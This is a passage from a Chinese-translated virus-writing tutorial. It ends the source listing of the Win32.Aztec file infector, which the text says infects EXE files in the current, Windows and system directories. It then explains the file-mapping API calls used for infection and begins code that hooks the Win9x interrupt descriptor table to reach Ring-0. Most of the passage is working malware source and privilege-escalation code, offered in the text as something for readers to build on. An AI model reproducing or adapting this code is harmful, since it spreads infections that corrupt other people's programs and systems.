);
;
; 参数
; ====
;
; ?hfile: 指需要移动移动文件指针的文件。这个文件句柄必须是用GENERIC_READ或GENERIC_WRITE
; 方式创建的。
;
; ?lDistanceToMove: 指要移动文件指针的字节数。一个正值表示指针向前移动,而一个负
; 值表示文件指针向后移动。
;
; ?lpDistanceToMoveHigh: 指向64位距离的高位字。如果这个参数的值是NULL,SetFilePointer
; 只能操作最大为2^32 - 2的文件。如果这个参数被指定了,最大文件大小是2^64 - 2。
; 这个参数还获取新文件指针的高位值。
;
; ?dwMoveMethod: 指示文件指针移动的开始的地方。这个参数可以是下面的一个值
;
; 值 方式
;
; + FILE_BEGIN - 开始点是0或文件开始。如果指定了FILE_BEGIN,DistanceToMove
; 被理解为新文件指针的位置。
; + FILE_CURRENT - 当前文件指针的值是开始点。
; + FILE_END - 当前文件尾是开始点。
;
; 返回值
; ======
;
; ?如果SetFilePointer函数调用成功,返回值是双字新文件指针的低位值,而且如果
; lpDistanceToMoveHigh不是NULL,这个函数把新文件指针的双字的高位赋给由那个参
; 数指向的长整型。
; ?如果函数调用失败而且lpDistanceToMoveHigh是NULL,返回值是0xFFFFFFFF。想要
; 获得详细的错误信息,调用GetLastError函数。
; ?如果函数失败,而且lpDistanceToMoveHigh是非-NULL的,返回值是0xFFFFFFFF,而且
; GetLastError将返回一个值而不NO_ERROR。
;
; ---
;
; SetEndOfFile 函数把指定文件的end-of-file (EOF)位置移到文件指针的当前位置。
;
; BOOL SetEndOfFile(
; HANDLE hFile // 要设置EOF的文件的句柄
; );
;
; 参数
; ====
;
; ?hfile: 指示要移动EOF位置的文件。这个句柄必须是以GENERIC_WRITE访问文件方式
; 创建的。
;
; 返回
; ====
;
; ?如果函数调用成功,返回值是非0值
; ?如果函数调用失败,返回值是0。想要知道详细的错误信息,调用GetLastError函数。
; ;
;---------------------------------------------------------------------------
; 输入:
; ESI - 指向要打开的文件的名字
; 输出:
; EAX - 如果成功是文件的句柄。
OpenFile proc
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi
call [ebp+_CreateFileA]
ret
OpenFile endp
;---------------------------------------------------------------------------
; CreateFile 函数创建或打开下面的对象,并返回一个可以访问这个对象的句柄:
;
; + 文件 (我们只对这个感兴趣)
; + pipes
; + mailslots
; + communications resources
; + disk devices (Windows NT only)
; + consoles
; + directories (open only)
;
; HANDLE CreateFile(
; LPCTSTR lpFileName, // 指向文件的名字
; DWORD dwDesiredAccess, // 访问 (读-写) 模式
; DWORD dwShareMode, // 共享模式
; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 指向安全属性
; DWORD dwCreationDistribution, // 怎么创建
; DWORD dwFlagsAndAttributes, // 文件属性
; HANDLE hTemplateFile // 要复制的属性的文件的句柄
; );
;
; 参数
; ====
;
; ?lpFileName: 指向一个以NULL结尾的字符串,这个字符串指定要创建或打开的对象(文件,
; 管道, 邮槽, 通信资源, 磁盘设备, 控制台, 或目录)的名字。
; 如果*lpFileName 是一个路径,就有一个缺省的路径字符个数的MAX_PATH个数限制,
; 这个限制和CreateFile函数怎么解析路径有关。
;
; ?dwDesiredAccess: 指访问的对象的类型。一个应用程序可以获得读访问,写访问,读-写
; 访问,或者设备查询访问。
;
; ?dwShareMode: 设置一些标志来指定对象是怎么共享的。如果dwShareMode是0,这个对象
; 就不能关系。随后的对这个对象的打开操作也会失败,直到句柄被关闭。
;
; ?lpSecurityAttributes: 指向一个 SECURITY_ATTRIBUTES 结构,来确定返回的句柄是
; 否能从子进程继承。如果lpSecurityAttributes是NULL,句柄就不能继承。
;
; ?dwCreationDistribution: 指对文件采取已知的什么行动,和未知的行动。
;
; ?dwFlagsAndAttributes: 指文件的属性和标志。
;
; ?hTemplatefile:指用GENERIC_READaccess 访问一个模板文件的句柄。这个模板文件在
; 文件创建的时候提供文件属性和扩展的属性。Windows 95:这个值必须为NULL。如果你
; 在Windows 95下提供一个句柄,这个调用会失败而且GetLastError返回
; ERROR_NOT_SUPPORTED。
;
; 返回值
; ======
;
; ?如果函数成功了,返回值是一个打开的指定文件的句柄。如果指定的文件在函数调用前存
; 在和dwCreationDistribution是CREATE_ALWAYS 或 OPEN_ALWAYS的时候,一个调用
; GetLastError 函数会返回 ERROR_ALREADY_EXISTS(甚至函数成功了)。如果文件在
; 调用之前不存在,GetLastError将返回0。
; ?如果函数失败了,返回值是INVALID_HANDLE_VALUE。为了获取信息的错误信息,调用GetLastError。
;---------------------------------------------------------------------------
; 输入:
; ECX - 映射大小
; 输出:
; EAX - 如果成功为映射句柄
CreateMap proc
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr [ebp+FileHandle]
call [ebp+_CreateFileMappingA]
ret
CreateMap endp
;---------------------------------------------------------------------------
; CreateFileMapping 函数为指定文件创建一个命名的或未命名的文件映射对象。
;
; HANDLE CreateFileMapping(
; HANDLE hFile, // 要映射的文件的句柄
; LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性
; DWORD flProtect, // 为映射对象保护
; DWORD dwMaximumSizeHigh, // 32位对象大小的高位
; DWORD dwMaximumSizeLow, // 32位对象大小的低位
; LPCTSTR lpName // 文件映射对象的名字
; );
;
; 参数
; ====
; ;
; ?hfile: 指从哪个文件创建映射对象。这个文件必须以和由flProtect参数指定的包含标
; 志相兼容的访问模式打开。建议,虽然不是必须,你打算映射的文件应该以独占方式打
; 开。
; 如果hFile 是 (HANDLE)0xFFFFFFFF,调用进程还必须在dwMaximumSizeHigh和
; dwMaximumSizeLow参数中指定映射对象的大小。这个函数是通过操作系统的页文件
; 而不是文件系统中的命名文件来创建一个指定大小的文件映射对象的。文件映射对象
; 可通过复制,继承或命名来共享。
;
; ?lpFileMappingAttributes: 指向一个SECURITY_ATTRIBUTES 结构,决定返回的句柄是
; 否可以被子进程继承。如果lpFileMappingAttributes 是NULL,句柄就不能被继承。
;
; ?flProtect: 指定当文件被映射的时候文件需要的保护。
;
; ?dwMaximumSizeHigh: 指定文件映射对象的32位最大大小的高位。
;
; ?dwMaximumSizeLow: 指定文件映射对象的32位最大大小的低位。如果这个参数和
; dwMaximumSizeHig为0,那么文件映射对象的最大大小等于有hFile确定的文件的
; 当前大小。
;
; ?lpName: 指向一个NULL结尾的字符串来指定映射对象的名字。这个名字可以包含除了反
; 斜线符号(/)之外的所有字符。
; 如果这个参数和已经存在的命名了的映射对象的名字相同,这个函数请求通过由flProtect
; 指定的保护来访问映射对象。
; 如果参数是NULL,映射对象就不通过命名创建。
;
; 返回值
; ======
;
; ?如果函数成功,返回值是一个文件映射对象的句柄。如果在调用这个函数之前对象已经
; 存在了,GetLastError 函数将返回 ERROR_ALREADY_EXISTS,而且返回值是一个已
; 经存在的文件映射对象(由当前的大小,而不是新的指定大小)的合法句柄。如果映射
; 对象不存在,GetLastError返回0。
; ?如果函数失败,返回值是NULL。想要知道详细的错误信息,调用GetLastError函数。
;---------------------------------------------------------------------------
; input:
; ECX - Size to map
; output:
; EAX - MapAddress if succesful
MapFile proc
xor eax,eax
push ecx
push eax
push eax
push 00000002h
push dword ptr [ebp+MapHandle]
call [ebp+_MapViewOfFile]
ret
MapFile endp
;---------------------------------------------------------------------------
; MapViewOfFile函数映射一个文件视图到调用进程的地址空间中去。
;
; LPVOID MapViewOfFile(
; HANDLE hFileMappingObject, // 要映射的文件映射对象
; DWORD dwDesiredAccess, // 访问模式
; DWORD dwFileOffsetHigh, // 32位文件偏移地址的高位
; DWORD dwFileOffsetLow, // 32位文件偏移地址的低位
; DWORD dwNumberOfBytesToMap // 要映射的字节数
; );
;
;
; 参数
; ====
;
; ?hFileMappingObject: 指定一个打开的文件映射对象的句柄。CreateFileMapping 和
; OpenFileMapping函数返回这个句柄。
;
; ?dwDesiredAccess: 指访问文件视图的类型,而且因此页的保护由这个文件映射。
;
; ?dwFileOffsetHigh: 指映射开始的偏移地址的高32位。
;
; ?dwFileOffsetLow: 指映射开始的偏移地址的低32位。
;
; ?dwNumberOfBytesToMap: 指文件映射的字节数。如果dwNumberOfBytesToMap是0,那么
; 整个文件将被映射。
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是映射视图开始的地址。
; ?如果函数调用失败,返回值是NULL。想要知道详细的错误信息,调用GetLastError。
;---------------------------------------------------------------------------
mark_ db "[Win32.Aztec v1.01]",0
db "(c) 1999 Billy Belcebu/iKX",0
EXE_MASK db "*.EXE",0
infections dd 00000000h
kernel dd kernel_
@@Namez label byte
@FindFirstFileA db "FindFirstFileA",0
@FindNextFileA db "FindNextFileA",0
@FindClose db "FindClose",0
@CreateFileA db "CreateFileA",0
@SetFilePointer db "SetFilePointer",0
@SetFileAttributesA db "SetFileAttributesA",0
@CloseHandle db "CloseHandle",0
@GetCurrentDirectoryA db "GetCurrentDirectoryA",0
@SetCurrentDirectoryA db "SetCurrentDirectoryA",0
@GetWindowsDirectoryA db "GetWindowsDirectoryA",0
@GetSystemDirectoryA db "GetSystemDirectoryA",0
@CreateFileMappingA db "CreateFileMappingA",0
@MapViewOfFile db "MapViewOfFile",0
@UnmapViewOfFile db "UnmapViewOfFile",0
@SetEndOfFile db "SetEndOfFile",0
db 0BBh
align dword
virus_end label byte
heap_start label byte
dd 00000000h
NewSize dd 00000000h
SearchHandle dd 00000000h
FileHandle dd 00000000h
MapHandle dd 00000000h
MapAddress dd 00000000h
AddressTableVA dd 00000000h
NameTableVA dd 00000000h
OrdinalTableVA dd 00000000h
@@Offsetz label byte
_FindFirstFileA dd 00000000h
_FindNextFileA dd 00000000h
_FindClose dd 00000000h
_CreateFileA dd 00000000h
_SetFilePointer dd 00000000h
_SetFileAttributesA dd 00000000h
_CloseHandle dd 00000000h
_GetCurrentDirectoryA dd 00000000h
_SetCurrentDirectoryA dd 00000000h
_GetWindowsDirectoryA dd 00000000h
_GetSystemDirectoryA dd 00000000h
_CreateFileMappingA dd 00000000h
_MapViewOfFile dd 00000000h
_UnmapViewOfFile dd 00000000h
_SetEndOfFile dd 00000000h
MAX_PATH equ 260
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
directories label byte
WindowsDir db 7Fh dup (00h)
SystemDir db 7Fh dup (00h)
OriginDir db 7Fh dup (00h)
dirs2inf equ (($-directories)/7Fh)
mirrormirror db dirs2inf
heap_end label byte
;---------------------------------------------------------------------------
; 上面所有的都是病毒要使用的数据;)
;---------------------------------------------------------------------------
; First generation host
fakehost:
pop dword ptr fs:[0] ; 清除堆栈
add esp,4
popad
popfd
xor eax,eax ; 用第一次生成的无聊的信息显示MessageBox
push eax
push offset szTitle
push offset szMessage
push eax
call MessageBoxA
push 00h ; 终止第一次生成
call ExitProcess
end aztec
;------到这儿为止剪切-------------------------------------------------------
好了,我认为关于这个病毒我已经解释得够清楚了。它只是一个简单的直接行为(运行期)病毒,能够在所有的Win32平台上工作,而且在当前目录,windows目录和系统目录上感染5个文件。它没有任何隐藏自己的机制(因为它是一个示例病毒),而且我想它能够被所有的反病毒软件检测到。所以它不值得改变字符串并声称是它的作者。你应该自己做。因为我知道病毒的一些部分还不够清晰(如那些调用API函数,如完成一个任务用的值),下面就简要地列举出怎么调用一些API来做具体地事情。
-> 怎么打开一个文件进行读写?
我们用来做这个的API是CreateFileA。建议参数如下:
push 00h ; hTemplateFile
push 00h ; dwFlagsAndAttributes
push 03h ; dwCreationDistribution
push 00h ; lpSecurityAttributes
push 01h ; dwShareMode
push 80000000h or 40000000h ; dwDesiredAccess
push offset filename ; lpFileName
call CreateFileA
+ hTemplateFile, dwFlagsAndAttributes 和 lpSecurityAttributes 应该为0。
+ dwCreationDistribution, 有一些有趣的值。 它可以为:
CREATE_NEW = 01h
CREATE_ALWAYS = 02h
OPEN_EXISTING = 03h
OPEN_ALWAYS = 04h
TRUNCATE_EXISTING = 05h
当我们想要打开一个已经存在的文件的时候,我们使用OPEN_EXISTING,即03h。如果我们因为病毒的需要而要打开一个模板文件,我们在这里将要使用另外一个值,如CREATE_ALWAYS。
+ dwShareMode 应该为 01h, 总之,我们可以从下面的值中选择:
FILE_SHARE_READ = 01h
FILE_SHARE_WRITE = 02h
所有文我们让其它人读我们打开的文件,但是不能写!
+ dwDesiredAccess 处理访问文件的选择。 我们使用 C0000000h,因为它是GENERIC_READ 和 GENERIC_WRITE的和,那就意味着我们两个访问方式都要:)下面你得到:
GENERIC_READ = 80000000h
GENERIC_WRITE = 40000000h
** 如果有一个失败,这个调用CreateProcess将会返回给我们0xFFFFFFFF;如果没有任何失败,它将返回给我们打开文件的句柄,所以,我们将它保存到相关变量中。要关闭那个句柄(需要的时候)使用CloseHandle这个API函数。
-> 怎样创建一个打开文件的映射?
要用到的API是CreateFileMappingA。建议的参数为:
push 00h ; lpName
push size_to_map ; dwMaximumSizeLow
push 00h ; dwMaximumSizeHigh
push 04h ; flProtect
push 00h ; lpFileMappingAttributes
push file_handle ; hFile
call CreateFileMappingA
+ lpName 和 lpFileMappingAttributes 建议为 0。
+ dwMaximumSizeHigh 应该为 0 除非当 dwMaximumSizeLow < 0xFFFFFFFF
+ dwMaximumSizeLow 是我们想要映射的大小
+ flProtect 可以为如下的值:
PAGE_NOACCESS = 00000001h
PAGE_READONLY = 00000002h
PAGE_READWRITE = 00000004h
PAGE_WRITECOPY = 00000008h
PAGE_EXECUTE = 00000010h
PAGE_EXECUTE_READ = 00000020h
PAGE_EXECUTE_READWRITE = 00000040h
PAGE_EXECUTE_WRITECOPY = 00000080h
PAGE_GUARD = 00000100h
PAGE_NOCACHE = 00000200h
我建议你使用PAGE_READWRITE,那个在映射时读或写不出现问题。
+ hFile 是我们想要映射的先前打开的句柄。
** 如果失败了,调用这个API函数会返回给我们一个NULL值;否则将会返回给我们映射句柄。我们将把它保存到一个变量中以备后用。要关闭一个映射句柄,要调用的API应该为CloseHandle。
-> 怎么能映射文件?
应该用MapViewOfFile这个API函数,它的建议参数如下:
push size_to_map ; dwNumberOfBytesToMap
push 00h ; dwFileOffsetLow
push 00h ; dwFileOffsetHigh
push 02h ; dwDesiredAccess
push map_handle ; hFileMappingObject
call MapViewOfFile
+ dwFileOffsetLow 和 dwFileOffsetHigh 应该为 0
+ dwNumberOfBytesToMap 是我们想要映射的文件的字节数
+ dwDesiredAccess 可以为如下值:
FILE_MAP_COPY = 00000001h
FILE_MAP_WRITE = 00000002h
FILE_MAP_READ = 00000004h
我建议 FILE_MAP_WRITE。
+ hFileMappingObject 应该为映射句柄( Mapping Handle ), 由先前调用的CreateFileMappingA函数返回。
** 如果失败,这个 API 将会返回给我们NULL, 否则它将返回给我们映射地址(Mapping Address)。所以,从那个映射地址,你可以访问映射空间的任何地方,并进行你想要的修改:)为了关闭那个映射地址,应该用UnmapViewOfFile这个API。
-> 怎么关闭文件句柄和映射句柄?
OK,我们必须使用CloseHandle这个API。
push handle_to_close ; hObject
call CloseHandle
** 如果关闭成功, 它返回 1。
-> 怎么关闭映射地址?
你应该使用UnmapViewOfFile。
push mapping_address ; lpBaseAddress
call UnmapViewOfFile
** 如果关闭成功,它返回1。
【Ring-0,在上帝级编码】
~~~~~~~~~~~~~~~~~~~~~~
自由!你热爱吗?在Ring-0,我们在限制之外,那里没有任何限制。因为Micro$oft的无能,我们有很多的方法跳到这个级别,一个理论上不能到达的地方。但是,我们可以在Win9X系统中跳转到Ring-0:)
例如,Micro$oft的傻瓜们没有保护中断表。这在我的眼中是一个巨大的安全失败。但话又说过来,如果我们可以利用它编写病毒,它就不是一个错误了,它就是一个礼物!;)
% 来到 Ring-0 %
~~~~~~~~~~~~~~~
好了,我将解释在我看来最简单的方法,那就是IDT修改。IDT(Interrupt Descriptor Table)不是一个固定的地址,所以我们必须使用指令来定位它,那就是SIDT。
----------------------------------------------------------------------------
_______________________________________________________
| SIDT - Store Interrupt Descriptor Table (286+ 专有) |
|_______________________________________________________|
+ 用法: SIDT 目标
+ 修改标记: 无
存储Interrupt Descriptor Table (IDT)寄存器到指定操作数中。
Clocks Size
Operands 808X 286 386 486 Bytes
mem64 - 12 9 10 5
0F 01 /1 SIDT mem64 Store IDTR to mem64
----------------------------------------------------------------------------
如果我们使用SIDT还不够清晰的话,它仅仅保存IDT的FWORD偏移(WORD:DWORD格式)。而且,如果我们知道了IDT在哪里,我们可以修改中断向量,并使它们指向我们的代码。展示给你的是Micro$oft的蹩脚的代码编写者。让我们继续我们的工作。在使中断向量改变后指向我们的代码(并把它们保存,以备以后恢复)之后,我们只要调用我们已经钩住(hook)的中断即可。如果看起来现在对你还不清晰,下面是通过修改IDT的方法来跳到Ring-0的代码。
;---------从这儿开始剪切----------------------------------------------------
.586p ; Bah... simply for phun.
.model flat ; Hehehe i love 32 bit stuph ;)
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
Interrupt equ 01h ; Nothing special
.data
szTitle db "Ring-0 example",0
szMessage db "I'm alive and kicking ass",0
;------------------------------------------------------------------------------
;好了,这一段对你来说已经相当清晰了,是吗? :)
;------------------------------------------------------------------------------
.code
start:
push edx
sidt [esp-2] ; Interrupt table to stack
pop edx
add edx,(Interrupt*8)+4 ; Get interrupt vector
;------------------------------------------------------------------------------
; 这相当简单。SIDT,正如我以前解释过的,把IDT的地址保存到一个内存地址中,为了
; 我们的简单起见,我们直接使用了堆栈。接下来是一个POP指令,它把IDT的偏移地址
; 装载到寄存器(这里为EDX)中。下一行是仅仅为了定位我们想要的中断的偏移地址。这
; 就和在DOS下玩IVT一样...
;------------------------------------------------------------------------------
mov ebx,[edx]
mov bx,word ptr [edx-4] ; Whoot Whoot
;------------------------------------------------------------------------------
; 相当简单。它仅仅是为了将来恢复,把EDX指向的内容保存到EBX中
;------------------------------------------------------------------------------
lea edi,InterruptHandler
mov [edx-4],di
ror edi,16 ; Move MSW to LSW
mov [edx+2],di
;------------------------------------------------------------------------------
; 我以前是不是说过了它有多简单? :)这里,我们给EDI指向新中断处理的偏移地址,下
; 面的3行是把那个处理放到IDT中。为什么那样ROR呢?嗯,如果你使用ROR,SHR或SAR都
; 没关系,因为它仅仅把中断处理偏移的MSW(More Significant Word)移到LSW (Less
; Significant Word)中,然后保存。
;------------------------------------------------------------------------------
push ds ; Safety safety safety...
push es